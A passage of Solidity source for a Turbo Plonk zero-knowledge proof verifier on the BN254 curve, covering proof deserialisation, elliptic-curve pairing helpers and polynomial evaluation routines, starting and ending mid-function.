mstore(add(mPtr, 0x40), 0x01) // hardcoded generator point (1, 2)
mstore(add(mPtr, 0x60), 0x02)
mstore(add(mPtr, 0x80), batch_evaluation_g1_scalar)
success := and(success, staticcall(gas(), 7, add(mPtr, 0x40), 0x60, add(mPtr, 0x40), 0x40))
// add -batch_evaluation_g1_scalar.[1] and the accumulator point, write result into rhs
success := and(success, staticcall(gas(), 6, mPtr, 0x80, rhs, 0x40))
}
}
Types.G1Point memory lhs;
assembly {
// store accumulator point at mptr
let mPtr := mload(0x40)
// copy [PI_Z] into mPtr
mstore(mPtr, mload(PI_Z))
mstore(add(mPtr, 0x20), mload(add(PI_Z, 0x20)))
// compute u.[PI_Z_OMEGA] and write to (mPtr + 0x40)
mstore(add(mPtr, 0x40), mload(PI_Z_OMEGA))
mstore(add(mPtr, 0x60), mload(add(PI_Z_OMEGA, 0x20)))
mstore(add(mPtr, 0x80), u)
success := and(success, staticcall(gas(), 7, add(mPtr, 0x40), 0x60, add(mPtr, 0x40), 0x40))
// add [PI_Z] + u.[PI_Z_OMEGA] and write result into lhs
success := and(success, staticcall(gas(), 6, mPtr, 0x80, lhs, 0x40))
}
// negate lhs y-coordinate
uint256 q = Bn254Crypto.p_mod;
assembly {
mstore(add(lhs, 0x20), sub(q, mload(add(lhs, 0x20))))
}
if (vk.contains_recursive_proof)
{
// If the proof itself contains an accumulated proof,
// we will have extracted two G1 elements `recursive_P1`, `recursive_p2` from the public inputs
// We need to evaluate that e(recursive_P1, [x]_2) == e(recursive_P2, [1]_2) to finish verifying the inner proof
// We do this by creating a random linear combination between (lhs, recursive_P1) and (rhs, recursivee_P2)
// That way we still only need to evaluate one pairing product
// We use `challenge.u * challenge.u` as the randomness to create a linear combination
// challenge.u is produced by hashing the entire transcript, which contains the public inputs (and by extension the recursive proof)
// i.e. [lhs] = [lhs] + u.u.[recursive_P1]
// [rhs] = [rhs] + u.u.[recursive_P2]
Types.G1Point memory recursive_P1 = decoded_proof.recursive_P1;
Types.G1Point memory recursive_P2 = decoded_proof.recursive_P2;
recursive_P1.validateG1Point();
recursive_P2.validateG1Point();
assembly {
let mPtr := mload(0x40)
// compute u.u.[recursive_P1]
mstore(mPtr, mload(recursive_P1))
mstore(add(mPtr, 0x20), mload(add(recursive_P1, 0x20)))
mstore(add(mPtr, 0x40), mulmod(u, u, p)) // separator_challenge = u * u
success := and(success, staticcall(gas(), 7, mPtr, 0x60, add(mPtr, 0x60), 0x40))
// compute u.u.[recursive_P2] (u*u is still in memory at (mPtr + 0x40), no need to re-write it)
mstore(mPtr, mload(recursive_P2))
mstore(add(mPtr, 0x20), mload(add(recursive_P2, 0x20)))
success := and(success, staticcall(gas(), 7, mPtr, 0x60, mPtr, 0x40))
// compute u.u.[recursiveP2] + rhs and write into rhs
mstore(add(mPtr, 0xa0), mload(rhs))
mstore(add(mPtr, 0xc0), mload(add(rhs, 0x20)))
success := and(success, staticcall(gas(), 6, add(mPtr, 0x60), 0x80, rhs, 0x40))
// compute u.u.[recursiveP1] + lhs and write into lhs
mstore(add(mPtr, 0x40), mload(lhs))
mstore(add(mPtr, 0x60), mload(add(lhs, 0x20)))
success := and(success, staticcall(gas(), 6, mPtr, 0x80, lhs, 0x40))
}
}
require(success, "perform_pairing G1 operations preamble fail");
return Bn254Crypto.pairingProd2(rhs, Bn254Crypto.P2(), lhs, vk.g2_x);
}
/**
* @dev Deserialize a proof into a Proof struct
* @param num_public_inputs - number of public inputs in the proof. Taken from verification key
* @return proof - proof deserialized into the proof struct
*/
function deserialize_proof(uint256 num_public_inputs, Types.VerificationKey memory vk)
internal
pure
returns (Types.Proof memory proof)
{
uint256 p = Bn254Crypto.r_mod;
uint256 q = Bn254Crypto.p_mod;
uint256 data_ptr;
uint256 proof_ptr;
// first 32 bytes of bytes array contains length, skip it
assembly {
data_ptr := add(calldataload(0x04), 0x24)
proof_ptr := proof
}
if (vk.contains_recursive_proof) {
uint256 index_counter = vk.recursive_proof_indices * 32;
uint256 x0 = 0;
uint256 y0 = 0;
uint256 x1 = 0;
uint256 y1 = 0;
assembly {
index_counter := add(index_counter, data_ptr)
x0 := calldataload(index_counter)
x0 := add(x0, shl(68, calldataload(add(index_counter, 0x20))))
x0 := add(x0, shl(136, calldataload(add(index_counter, 0x40))))
x0 := add(x0, shl(204, calldataload(add(index_counter, 0x60))))
y0 := calldataload(add(index_counter, 0x80))
y0 := add(y0, shl(68, calldataload(add(index_counter, 0xa0))))
y0 := add(y0, shl(136, calldataload(add(index_counter, 0xc0))))
y0 := add(y0, shl(204, calldataload(add(index_counter, 0xe0))))
x1 := calldataload(add(index_counter, 0x100))
x1 := add(x1, shl(68, calldataload(add(index_counter, 0x120))))
x1 := add(x1, shl(136, calldataload(add(index_counter, 0x140))))
x1 := add(x1, shl(204, calldataload(add(index_counter, 0x160))))
y1 := calldataload(add(index_counter, 0x180))
y1 := add(y1, shl(68, calldataload(add(index_counter, 0x1a0))))
y1 := add(y1, shl(136, calldataload(add(index_counter, 0x1c0))))
y1 := add(y1, shl(204, calldataload(add(index_counter, 0x1e0))))
}
proof.recursive_P1 = Bn254Crypto.new_g1(x0, y0);
proof.recursive_P2 = Bn254Crypto.new_g1(x1, y1);
}
assembly {
let public_input_byte_length := mul(num_public_inputs, 0x20)
data_ptr := add(data_ptr, public_input_byte_length)
// proof.W1
mstore(mload(proof_ptr), mod(calldataload(add(data_ptr, 0x20)), q))
mstore(add(mload(proof_ptr), 0x20), mod(calldataload(data_ptr), q))
// proof.W2
mstore(mload(add(proof_ptr, 0x20)), mod(calldataload(add(data_ptr, 0x60)), q))
mstore(add(mload(add(proof_ptr, 0x20)), 0x20), mod(calldataload(add(data_ptr, 0x40)), q))
// proof.W3
mstore(mload(add(proof_ptr, 0x40)), mod(calldataload(add(data_ptr, 0xa0)), q))
mstore(add(mload(add(proof_ptr, 0x40)), 0x20), mod(calldataload(add(data_ptr, 0x80)), q))
// proof.W4
mstore(mload(add(proof_ptr, 0x60)), mod(calldataload(add(data_ptr, 0xe0)), q))
mstore(add(mload(add(proof_ptr, 0x60)), 0x20), mod(calldataload(add(data_ptr, 0xc0)), q))
// proof.Z
mstore(mload(add(proof_ptr, 0x80)), mod(calldataload(add(data_ptr, 0x120)), q))
mstore(add(mload(add(proof_ptr, 0x80)), 0x20), mod(calldataload(add(data_ptr, 0x100)), q))
// proof.T1
mstore(mload(add(proof_ptr, 0xa0)), mod(calldataload(add(data_ptr, 0x160)), q))
mstore(add(mload(add(proof_ptr, 0xa0)), 0x20), mod(calldataload(add(data_ptr, 0x140)), q))
// proof.T2
mstore(mload(add(proof_ptr, 0xc0)), mod(calldataload(add(data_ptr, 0x1a0)), q))
mstore(add(mload(add(proof_ptr, 0xc0)), 0x20), mod(calldataload(add(data_ptr, 0x180)), q))
// proof.T3
mstore(mload(add(proof_ptr, 0xe0)), mod(calldataload(add(data_ptr, 0x1e0)), q))
mstore(add(mload(add(proof_ptr, 0xe0)), 0x20), mod(calldataload(add(data_ptr, 0x1c0)), q))
// proof.T4
mstore(mload(add(proof_ptr, 0x100)), mod(calldataload(add(data_ptr, 0x220)), q))
mstore(add(mload(add(proof_ptr, 0x100)), 0x20), mod(calldataload(add(data_ptr, 0x200)), q))
// proof.w1 to proof.w4
mstore(add(proof_ptr, 0x120), mod(calldataload(add(data_ptr, 0x240)), p))
mstore(add(proof_ptr, 0x140), mod(calldataload(add(data_ptr, 0x260)), p))
mstore(add(proof_ptr, 0x160), mod(calldataload(add(data_ptr, 0x280)), p))
mstore(add(proof_ptr, 0x180), mod(calldataload(add(data_ptr, 0x2a0)), p))
// proof.sigma1
mstore(add(proof_ptr, 0x1a0), mod(calldataload(add(data_ptr, 0x2c0)), p))
// proof.sigma2
mstore(add(proof_ptr, 0x1c0), mod(calldataload(add(data_ptr, 0x2e0)), p))
// proof.sigma3
mstore(add(proof_ptr, 0x1e0), mod(calldataload(add(data_ptr, 0x300)), p))
// proof.q_arith
mstore(add(proof_ptr, 0x200), mod(calldataload(add(data_ptr, 0x320)), p))
// proof.q_ecc
mstore(add(proof_ptr, 0x220), mod(calldataload(add(data_ptr, 0x340)), p))
// proof.q_c
mstore(add(proof_ptr, 0x240), mod(calldataload(add(data_ptr, 0x360)), p))
// proof.linearization_polynomial
mstore(add(proof_ptr, 0x260), mod(calldataload(add(data_ptr, 0x380)), p))
// proof.grand_product_at_z_omega
mstore(add(proof_ptr, 0x280), mod(calldataload(add(data_ptr, 0x3a0)), p))
// proof.w1_omega to proof.w4_omega
mstore(add(proof_ptr, 0x2a0), mod(calldataload(add(data_ptr, 0x3c0)), p))
mstore(add(proof_ptr, 0x2c0), mod(calldataload(add(data_ptr, 0x3e0)), p))
mstore(add(proof_ptr, 0x2e0), mod(calldataload(add(data_ptr, 0x400)), p))
mstore(add(proof_ptr, 0x300), mod(calldataload(add(data_ptr, 0x420)), p))
// proof.PI_Z
mstore(mload(add(proof_ptr, 0x320)), mod(calldataload(add(data_ptr, 0x460)), q))
mstore(add(mload(add(proof_ptr, 0x320)), 0x20), mod(calldataload(add(data_ptr, 0x440)), q))
// proof.PI_Z_OMEGA
mstore(mload(add(proof_ptr, 0x340)), mod(calldataload(add(data_ptr, 0x4a0)), q))
mstore(add(mload(add(proof_ptr, 0x340)), 0x20), mod(calldataload(add(data_ptr, 0x480)), q))
}
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
import {Types} from "./Types.sol";
/**
* @title Bn254 elliptic curve crypto
* @dev Provides some basic methods to compute bilinear pairings, construct group elements and misc numerical methods
*/
library Bn254Crypto {
uint256 constant p_mod = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
uint256 constant r_mod = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
// Perform a modular exponentiation. This method is ideal for small exponents (~64 bits or less), as
// it is cheaper than using the pow precompile
function pow_small(
uint256 base,
uint256 exponent,
uint256 modulus
) internal pure returns (uint256) {
uint256 result = 1;
uint256 input = base;
uint256 count = 1;
assembly {
let endpoint := add(exponent, 0x01)
for {} lt(count, endpoint) { count := add(count, count) }
{
if and(exponent, count) {
result := mulmod(result, input, modulus)
}
input := mulmod(input, input, modulus)
}
}
return result;
}
function invert(uint256 fr) internal view returns (uint256)
{
uint256 output;
bool success;
uint256 p = r_mod;
assembly {
let mPtr := mload(0x40)
mstore(mPtr, 0x20)
mstore(add(mPtr, 0x20), 0x20)
mstore(add(mPtr, 0x40), 0x20)
mstore(add(mPtr, 0x60), fr)
mstore(add(mPtr, 0x80), sub(p, 2))
mstore(add(mPtr, 0xa0), p)
success := staticcall(gas(), 0x05, mPtr, 0xc0, 0x00, 0x20)
output := mload(0x00)
}
require(success, "pow precompile call failed!");
return output;
}
function new_g1(uint256 x, uint256 y)
internal
pure
returns (Types.G1Point memory)
{
uint256 xValue;
uint256 yValue;
assembly {
xValue := mod(x, r_mod)
yValue := mod(y, r_mod)
}
return Types.G1Point(xValue, yValue);
}
function new_g2(uint256 x0, uint256 x1, uint256 y0, uint256 y1)
internal
pure
returns (Types.G2Point memory)
{
return Types.G2Point(x0, x1, y0, y1);
}
function P1() internal pure returns (Types.G1Point memory) {
return Types.G1Point(1, 2);
}
function P2() internal pure returns (Types.G2Point memory) {
return Types.G2Point({
x0: 0x198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c2,
x1: 0x1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed,
y0: 0x090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b,
y1: 0x12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa
});
}
/// Evaluate the following pairing product:
/// e(a1, a2).e(-b1, b2) == 1
function pairingProd2(
Types.G1Point memory a1,
Types.G2Point memory a2,
Types.G1Point memory b1,
Types.G2Point memory b2
) internal view returns (bool) {
validateG1Point(a1);
validateG1Point(b1);
bool success;
uint256 out;
assembly {
let mPtr := mload(0x40)
mstore(mPtr, mload(a1))
mstore(add(mPtr, 0x20), mload(add(a1, 0x20)))
mstore(add(mPtr, 0x40), mload(a2))
mstore(add(mPtr, 0x60), mload(add(a2, 0x20)))
mstore(add(mPtr, 0x80), mload(add(a2, 0x40)))
mstore(add(mPtr, 0xa0), mload(add(a2, 0x60)))
mstore(add(mPtr, 0xc0), mload(b1))
mstore(add(mPtr, 0xe0), mload(add(b1, 0x20)))
mstore(add(mPtr, 0x100), mload(b2))
mstore(add(mPtr, 0x120), mload(add(b2, 0x20)))
mstore(add(mPtr, 0x140), mload(add(b2, 0x40)))
mstore(add(mPtr, 0x160), mload(add(b2, 0x60)))
success := staticcall(
gas(),
8,
mPtr,
0x180,
0x00,
0x20
)
out := mload(0x00)
}
require(success, "Pairing check failed!");
return (out != 0);
}
/**
* validate the following:
* x != 0
* y != 0
* x < p
* y < p
* y^2 = x^3 + 3 mod p
*/
function validateG1Point(Types.G1Point memory point) internal pure {
bool is_well_formed;
uint256 p = p_mod;
assembly {
let x := mload(point)
let y := mload(add(point, 0x20))
is_well_formed := and(
and(
and(lt(x, p), lt(y, p)),
not(or(iszero(x), iszero(y)))
),
eq(mulmod(y, y, p), addmod(mulmod(x, mulmod(x, x, p), p), 3, p))
)
}
require(is_well_formed, "Bn254: G1 point not on curve, or is malformed");
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
import {Bn254Crypto} from './Bn254Crypto.sol';
import {Types} from './Types.sol';
/**
* @title Turbo Plonk polynomial evaluation
* @dev Implementation of Turbo Plonk's polynomial evaluation algorithms
*
* Expected to be inherited by `TurboPlonk.sol`
*
* Copyright 2020 Spilsbury Holdings Ltd
*
* Licensed under the GNU General Public License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
library PolynomialEval {
using Bn254Crypto for Types.G1Point;
using Bn254Crypto for Types.G2Point;
/**
* @dev Use batch inversion (so called Montgomery's trick). Circuit size is the domain
* Allows multiple inversions to be performed in one inversion, at the expense of additional multiplications
*
* Returns a struct containing the inverted elements
*/
function compute_batch_inversions(
uint256 public_input_delta_numerator,
uint256 public_input_delta_denominator,
uint256 vanishing_numerator,
uint256 vanishing_denominator,
uint256 lagrange_numerator,
uint256 l_start_denominator,
uint256 l_end_denominator
)
internal
view
returns (
uint256 zero_polynomial_eval,
uint256 public_input_delta,
uint256 l_start,
uint256 l_end
)
{
uint256 mPtr;
uint256 p = Bn254Crypto.r_mod;
uint256 accumulator = 1;
assembly {
mPtr := mload(0x40)
mstore(0x40, add(mPtr, 0x200))
}
// store denominators in mPtr -> mPtr + 0x80
assembly {
mstore(mPtr, public_input_delta_denominator) // store denominator
mstore(add(mPtr, 0x20), vanishing_numerator) // store numerator, because we want the inverse of the zero poly
mstore(add(mPtr, 0x40), l_start_denominator) // store denominator
mstore(add(mPtr, 0x60), l_end_denominator) // store denominator
// store temporary product terms at mPtr + 0x80 -> mPtr + 0x100
mstore(add(mPtr, 0x80), accumulator)
accumulator := mulmod(accumulator, mload(mPtr), p)
mstore(add(mPtr, 0xa0), accumulator)
accumulator := mulmod(accumulator, mload(add(mPtr, 0x20)), p)
mstore(add(mPtr, 0xc0), accumulator)
accumulator := mulmod(accumulator, mload(add(mPtr, 0x40)), p)
mstore(add(mPtr, 0xe0), accumulator)
accumulator := mulmod(accumulator, mload(add(mPtr, 0x60)), p)
}
accumulator = Bn254Crypto.invert(accumulator);
assembly {
let intermediate := mulmod(accumulator, mload(add(mPtr, 0xe0)), p)
accumulator := mulmod(accumulator, mload(add(mPtr, 0x60)), p)
mstore(add(mPtr, 0x60), intermediate)
intermediate := mulmod(accumulator, mload(add(mPtr, 0xc0)), p)
accumulator := mulmod(accumulator, mload(add(mPtr, 0x40)), p)
mstore(add(mPtr, 0x40), intermediate)
intermediate := mulmod(accumulator, mload(add(mPtr, 0xa0)), p)
accumulator := mulmod(accumulator, mload(add(mPtr, 0x20)), p)
mstore(add(mPtr, 0x20), intermediate)
intermediate := mulmod(accumulator, mload(add(mPtr, 0x80)), p)
accumulator := mulmod(accumulator, mload(mPtr), p)
mstore(mPtr, intermediate)
public_input_delta := mulmod(public_input_delta_numerator, mload(mPtr), p)
zero_polynomial_eval := mulmod(vanishing_denominator, mload(add(mPtr, 0x20)), p)
l_start := mulmod(lagrange_numerator, mload(add(mPtr, 0x40)), p)
l_end := mulmod(lagrange_numerator, mload(add(mPtr, 0x60)), p)
}
}
function compute_public_input_delta(
Types.ChallengeTranscript memory challenges,
Types.VerificationKey memory vk
) internal pure returns (uint256, uint256) {
uint256 gamma = challenges.gamma;
uint256 work_root = vk.work_root;
uint256 endpoint = (vk.num_inputs * 0x20) - 0x20;
uint256 public_inputs;
uint256 root_1 = challenges.beta;
uint256 root_2 = challenges.beta;
uint256 numerator_value = 1;
uint256 denominator_value = 1;
// we multiply length by 0x20 because our loop step size is 0x20 not 0x01
// we subtract 0x20 because our loop is unrolled 2 times an we don't want to overshoot
// perform this computation in assembly to improve efficiency. We are sensitive to the cost of this loop as
// it scales with the number of public inputs
uint256 p = Bn254Crypto.r_mod;
bool valid = true;
assembly {
root_1 := mulmod(root_1, 0x05, p)
root_2 := mulmod(root_2, 0x07, p)
public_inputs := add(calldataload(0x04), 0x24)
// get public inputs from calldata. N.B. If Contract ABI Changes this code will need to be updated!
endpoint := add(endpoint, public_inputs)
// Do some loop unrolling to reduce number of conditional jump operations
for {} lt(public_inputs, endpoint) {}
{
let input0 := calldataload(public_inputs)
let N0 := add(root_1, add(input0, gamma))
let D0 := add(root_2, N0) // 4x overloaded
root_1 := mulmod(root_1, work_root, p)
root_2 := mulmod(root_2, work_root, p)
let input1 := calldataload(add(public_inputs, 0x20))
let N1 := add(root_1, add(input1, gamma))
denominator_value := mulmod(mulmod(D0, denominator_value, p), add(N1, root_2), p)
numerator_value := mulmod(mulmod(N1, N0, p), numerator_value, p)
root_1 := mulmod(root_1, work_root, p)
root_2 := mulmod(root_2, work_root, p)
valid := and(valid, and(lt(input0, p), lt(input1, p)))
public_inputs := add(public_inputs, 0x40)
}
endpoint := add(endpoint, 0x20)
for {} lt(public_inputs, endpoint) { public_inputs := add(public_inputs, 0x20) }
{
let input0 := calldataload(public_inputs)
valid := and(valid, lt(input0, p))
let T0 := addmod(input0, gamma, p)
numerator_value := mulmod(
numerator_value,
add(root_1, T0), // 0x05 = coset_generator0
p
)
denominator_value := mulmod(
denominator_value,
add(add(root_1, root_2), T0), // 0x0c = coset_generator7
p
)
root_1 := mulmod(root_1, work_root, p)
root_2 := mulmod(root_2, work_root, p)
}
}
require(valid, "public inputs are greater than circuit modulus");
return (numerator_value, denominator_value);
}
/**
* @dev Computes the vanishing polynoimal and lagrange evaluations L1 and Ln.
* @return Returns fractions as numerators and denominators. We combine with the public input fraction and compute inverses as a batch
*/
function compute_lagrange_and_vanishing_fractions(Types.VerificationKey memory vk, uint256 zeta
) internal pure returns (uint256, uint256, uint256, uint256, uint256) {
uint256 p = Bn254Crypto.r_mod;
uint256 vanishing_numerator = Bn254Crypto.pow_small(zeta, vk.circuit_size, p);
vk.zeta_pow_n = vanishing_numerator;
assembly {
vanishing_numerator := addmod(vanishing_numerator, sub(p, 1), p)
}
uint256 accumulating_root = vk.work_root_inverse;
uint256 work_root = vk.work_root_inverse;
uint256 vanishing_denominator;
uint256 domain_inverse = vk.domain_inverse;
uint256 l_start_denominator;
uint256 l_end_denominator;
uint256 z = zeta; // copy input var to prevent stack depth errors
assembly {
// vanishing_denominator = (z - w^{n-1})(z - w^{n-2})(z - w^{n-3})(z - w^{n-4})
// we need to cut 4 roots of unity out of the vanishing poly, the last 4 constraints are not satisfied due to randomness
// added to ensure the proving system is zero-knowledge
vanishing_denominator := addmod(z, sub(p, work_root), p)
work_root := mulmod(work_root, accumulating_root, p)
vanishing_denominator := mulmod(vanishing_denominator, addmod(z, sub(p, work_root), p), p)
work_root := mulmod(work_root, accumulating_root, p)
vanishing_denominator := mulmod(vanishing_denominator, addmod(z, sub(p, work_root), p), p)
work_root := mulmod(work_root, accumulating_root, p)
vanishing_denominator := mulmod(vanishing_denominator, addmod(z, sub(p, work_root), p), p)
}
work_root = vk.work_root;
uint256 lagrange_numerator;
assembly {
lagrange_numerator := mulmod(vanishing_numerator, domain_inverse, p)
// l_start_denominator = z - 1
// l_end_denominator = z * \omega^5 - 1
l_start_denominator := addmod(z, sub(p, 1), p)
accumulating_root := mulmod(work_root, work_root, p)
accumulating_root := mulmod(accumulating_root, accumulating_root, p)
accumulating_root := mulmod(accumulating_root, work_root, p)
l_end_denominator := addmod(mulmod(accumulating_root, z, p), sub(p, 1), p)
}
return (vanishing_numerator, vanishing_denominator, lagrange_numerator, l_start_denominator, l_end_denominator);
}
function compute_arithmetic_gate_quotient_contribution(
Types.ChallengeTranscript memory challenges,
Types.Proof memory proof
) internal pure returns (uint256) {
uint256 q_arith = proof.q_arith;
uint256 wire3 = proof.w3;
uint256 wire4 = proof.w4;
uint256 alpha_base = challenges.alpha_base;
uint256 alpha = challenges.alpha;
uint256 t1;
uint256 p = Bn254Crypto.r_mod;
assembly {
t1 := addmod(mulmod(q_arith, q_arith, p), sub(p, q_arith), p)
let t2 := addmod(sub(p, mulmod(wire4, 0x04, p)), wire3, p)
let t3 := mulmod(mulmod(t2, t2, p), 0x02, p)
let t4 := mulmod(t2, 0x09, p)
t4 := addmod(t4, addmod(sub(p, t3), sub(p, 0x07), p), p)
t2 := mulmod(t2, t4, p)
t1 := mulmod(mulmod(t1, t2, p), alpha_base, p)
alpha_base := mulmod(alpha_base, alpha, p)
alpha_base := mulmod(alpha_base, alpha, p)
}
challenges.alpha_base = alpha_base;
return t1;
}
function compute_pedersen_gate_quotient_contribution(
Types.ChallengeTranscript memory challenges,
Types.Proof memory proof
) internal pure returns (uint256) {
uint256 alpha = challenges.alpha;
uint256 gate_id = 0;
uint256 alpha_base = challenges.alpha_base;
{
uint256 p = Bn254Crypto.r_mod;
uint256 delta = 0;
uint256 wire_t0 = proof.w4; // w4
uint256 wire_t1 = proof.w4_omega; // w4_omega
uint256 wire_t2 = proof.w3_omega; // w3_omega
assembly {
let wire4_neg := sub(p, wire_t0)
delta := addmod(wire_t1, mulmod(wire4_neg, 0x04, p), p)
gate_id :=
mulmod(
mulmod(
mulmod(
mulmod(
add(delta, 0x01),
add(delta, 0x03),
p
),
add(delta, sub(p, 0x01)),
p
),
add(delta, sub(p, 0x03)),
p
),
alpha_base,
p
)
alpha_base := mulmod(alpha_base, alpha, p)
gate_id := addmod(gate_id, sub(p, mulmod(wire_t2, alpha_base, p)), p)
alpha_base := mulmod(alpha_base, alpha, p)
}
uint256 selector_value = proof.q_ecc;
wire_t0 = proof.w1; // w1
wire_t1 = proof.w1_omega; // w1_omega
wire_t2 = proof.w2; // w2
uint256 wire_t3 = proof.w3_omega; // w3_omega
uint256 t0;
uint256 t1;
uint256 t2;
assembly {
t0 := addmod(wire_t1, addmod(wire_t0, wire_t3, p), p)
t1 := addmod(wire_t3, sub(p, wire_t0), p)
t1 := mulmod(t1, t1, p)
t0 := mulmod(t0, t1, p)
t1 := mulmod(wire_t3, mulmod(wire_t3, wire_t3, p), p)
t2 := mulmod(wire_t2, wire_t2, p)
t1 := sub(p, addmod(addmod(t1, t2, p), sub(p, 17), p))
t2 := mulmod(mulmod(delta, wire_t2, p), selector_value, p)
t2 := addmod(t2, t2, p)
t0 :=
mulmod(
addmod(t0, addmod(t1, t2, p), p),
alpha_base,
p
)
gate_id := addmod(gate_id, t0, p)
alpha_base := mulmod(alpha_base, alpha, p)
}
wire_t0 = proof.w1; // w1
wire_t1 = proof.w2_omega; // w2_omega
wire_t2 = proof.w2; // w2
wire_t3 = proof.w3_omega; // w3_omega
uint256 wire_t4 = proof.w1_omega; // w1_omega
assembly {
t0 := mulmod(
addmod(wire_t1, wire_t2, p),
addmod(wire_t3, sub(p, wire_t0), p),
p
)
t1 := addmod(wire_t0, sub(p, wire_t4), p)
t2 := addmod(
sub(p, mulmod(selector_value, delta, p)),
wire_t2,
p
)
gate_id := addmod(gate_id, mulmod(add(t0, mulmod(t1, t2, p)), alpha_base, p), p)
alpha_base := mulmod(alpha_base, alpha, p)
}
selector_value = proof.q_c;
wire_t1 = proof.w4; // w4
wire_t2 = proof.w3; // w3
assembly {
let acc_init_id := addmod(wire_t1, sub(p, 0x01), p)
t1 := addmod(acc_init_id, sub(p, wire_t2), p)
acc_init_id := mulmod(acc_init_id, mulmod(t1, alpha_base, p), p)
acc_init_id := mulmod(acc_init_id, selector_value, p)
gate_id := addmod(gate_id, acc_init_id, p)
alpha_base := mulmod(alpha_base, alpha, p)
}
assembly {
let x_init_id := sub(p, mulmod(mulmod(wire_t0, selector_value, p), mulmod(wire_t2, alpha_base, p), p))
gate_id := addmod(gate_id, x_init_id, p)
alpha_base := mulmod(alpha_base, alpha, p)
}
wire_t0 = proof.w2; // w2
wire_t1 = proof.w3; // w3
wire_t2 = proof.w4; // w4
assembly {
let y_init_id := mulmod(add(0x01, sub(p, wire_t2)), selector_value, p)
t1 := sub(p, mulmod(wire_t0, wire_t1, p))
y_init_id := mulmod(add(y_init_id, t1), mulmod(alpha_base, selector_value, p), p)
gate_id := addmod(gate_id, y_init_id, p)
alpha_base := mulmod(alpha_base, alpha, p)
}
selector_value = proof.q_ecc;
assembly {
gate_id := mulmod(gate_id, selector_value, p)
}
}
challenges.alpha_base = alpha_base;
return gate_id;
}
function compute_permutation_quotient_contribution(
uint256 public_input_delta,
Types.ChallengeTranscript memory challenges,
uint256 lagrange_start,
uint256 lagrange_end,
Types.Proof memory proof
) internal pure returns (uint256) {
uint256 numerator_collector;
uint256 alpha = challenges.alpha;
uint256 beta = challenges.beta;
uint256 p = Bn254Crypto.r_mod;
uint256 grand_product = proof.grand_product_at_z_omega;
{
uint256 gamma = challenges.gamma;
uint256 wire1 = proof.w1;
uint256 wire2 = proof.w2;
uint256 wire3 = proof.w3;
uint256 wire4 = proof.w4;
uint256 sigma1 = proof.sigma1;
uint256 sigma2 = proof.sigma2;
uint256 sigma3 = proof.sigma3;
assembly {
let t0 := add(
add(wire1, gamma),
mulmod(beta, sigma1, p)
)
let t1 := add(
add(wire2, gamma),
mulmod(beta, sigma2, p)
)
let t2 := add(
add(wire3, gamma),
mulmod(beta, sigma3, p)
)
t0 := mulmod(t0, mulmod(t1, t2, p), p)
t0 := mulmod(
t0,
add(wire4, gamma),
p
)
t0 := mulmod(
t0,
grand_product,
p
)
t0 := mulmod(
t0,
alpha,
p
)
numerator_collector := sub(p, t0)
}
}
uint256 alpha_base = challenges.alpha_base;
{
uint256 lstart = lagrange_start;
uint256 lend = lagrange_end;
uint256 public_delta = public_input_delta;
uint256 linearization_poly = proof.linearization_polynomial;
assembly {
let alpha_squared := mulmod(alpha, alpha, p)
let alpha_cubed := mulmod(alpha, alpha_squared, p)
let t0 := mulmod(lstart, alpha_cubed, p)
let t1 := mulmod(lend, alpha_squared, p)
let t2 := addmod(grand_product, sub(p, public_delta), p)
t1 := mulmod(t1, t2, p)
numerator_collector := addmod(numerator_collector, sub(p, t0), p)
numerator_collector := addmod(numerator_collector, t1, p)
numerator_collector := addmod(numerator_collector, linearization_poly, p)
alpha_base := mulmod(alpha_base, alpha_cubed, p)
}
}
challenges.alpha_base = alpha_base;
return numerator_collector;
}
function compute_quotient_polynomial(
uint256 zero_poly_inverse,
uint256 public_input_delta,
Types.ChallengeTranscript memory challenges,
uint256 lagrange_start,
uint256 lagrange_end,
Types.Proof memory proof
) internal pure returns (uint256) {
uint256 t0 = compute_permutation_quotient_contribution(
public_input_delta,
challenges,
lagrange_start,
lagrange_end,
proof
);
uint256 t1 = compute_arithmetic_gate_quotient_contribution(challenges, proof);
uint256 t2 = compute_pedersen_gate_quotient_contribution(challenges, proof);
uint256 quotient_eval;
uint256 p = Bn254Crypto.r_mod;
assembly {
quotient_eval := addmod(t0, addmod(t1, t2, p), p)
quotient_eval := mulmod(quotient_eval, zero_poly_inverse, p)
}
return quotient_eval;
}
function compute_linearised_opening_terms(
Types.ChallengeTranscript memory challenges,
uint256 L1_fr,
Types.VerificationKey memory vk,
Types.Proof memory proof
) internal view returns (Types.G1Point memory) {
Types.G1Point memory accumulator = compute_grand_product_opening_group_element(proof, vk, challenges, L1_fr);
Types.G1Point memory arithmetic_term = compute_arithmetic_selector_opening_group_element(proof, vk, challenges);
uint256 range_multiplier = compute_range_gate_opening_scalar(proof, challenges);
uint256 logic_multiplier = compute_logic_gate_opening_scalar(proof, challenges);
Types.G1Point memory QRANGE = vk.QRANGE;
Types.G1Point memory QLOGIC = vk.QLOGIC;
QRANGE.validateG1Point();
QLOGIC.validateG1Point();
// compute range_multiplier.[QRANGE] + logic_multiplier.[QLOGIC] + [accumulator] + [grand_product_term]
bool success;
assembly {
let mPtr := mload(0x40)
// range_multiplier.[QRANGE]
mstore(mPtr, mload(QRANGE))
mstore(add(mPtr, 0x20), mload(add(QRANGE, 0x20)))
mstore(add(mPtr, 0x40), range_multiplier)
success := staticcall(gas(), 7, mPtr, 0x60, mPtr, 0x40)
// add scalar mul output into accumulator
// we use mPtr to store accumulated point
mstore(add(mPtr, 0x40), mload(accumulator))
mstore(add(mPtr, 0x60), mload(add(accumulator, 0x20)))
